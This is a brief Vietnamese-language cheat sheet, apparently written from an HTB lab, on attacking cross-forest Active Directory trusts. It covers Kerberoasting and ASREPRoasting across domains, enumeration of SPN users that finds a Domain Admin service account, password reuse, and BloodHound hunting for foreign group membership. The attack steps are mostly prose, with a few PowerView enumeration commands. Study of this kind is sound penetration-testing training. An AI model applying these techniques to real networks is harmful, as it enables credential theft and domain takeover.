Attack Cross-Forest Trust
Just a cheatsheet
Cross-Forest Kerberoasting
Lợi dụng việc trust 2 chiều, ta có thể thực hiện kerberoasting hoặc ASREPRoasting từ domain này với domain khác
Exploit bằng Windows
Đầu tiên tương tự Kerberoasting bình thường ta sẽ enum user SPN
PS C:\htb> Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL | select SamAccountName
samaccountname
--------------
krbtgt
mssqlsvcLấy nhiều thông tin về user đó hơn
PS C:\htb> Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc |select samaccountname,memberof
samaccountname memberof
-------------- --------
mssqlsvc CN=Domain Admins,CN=Users,DC=FREIGHTLOGISTICS,DC=LOCALCuối cùng chạy Rubeus với /domain flag trỏ tới domain khác (domain trust)
Exploit bằng Linux
Reuse password
Thỉnh thoảng Domain Admin của domain này cũng được add vào domain khác, ta có thể recon user không phải trong domain (external user) bằng Get-DomainForeignGroupMember
Hunting Foreign Group Membership with Bloodhound-python
Thêm domain INLANEFREIGHT.LOCAL vào /etc/resolv.conf
Chạy bloodhound với domain INLANEFREIGHT.LOCAL
Thêm domain FREIGHTLOGISTICS.LOCAL vào /etc/resolv.conf
Chạy bloodhound với domain FREIGHTLOGISTICS.LOCAL
View user with Foreign Domain Group Membership

Last updated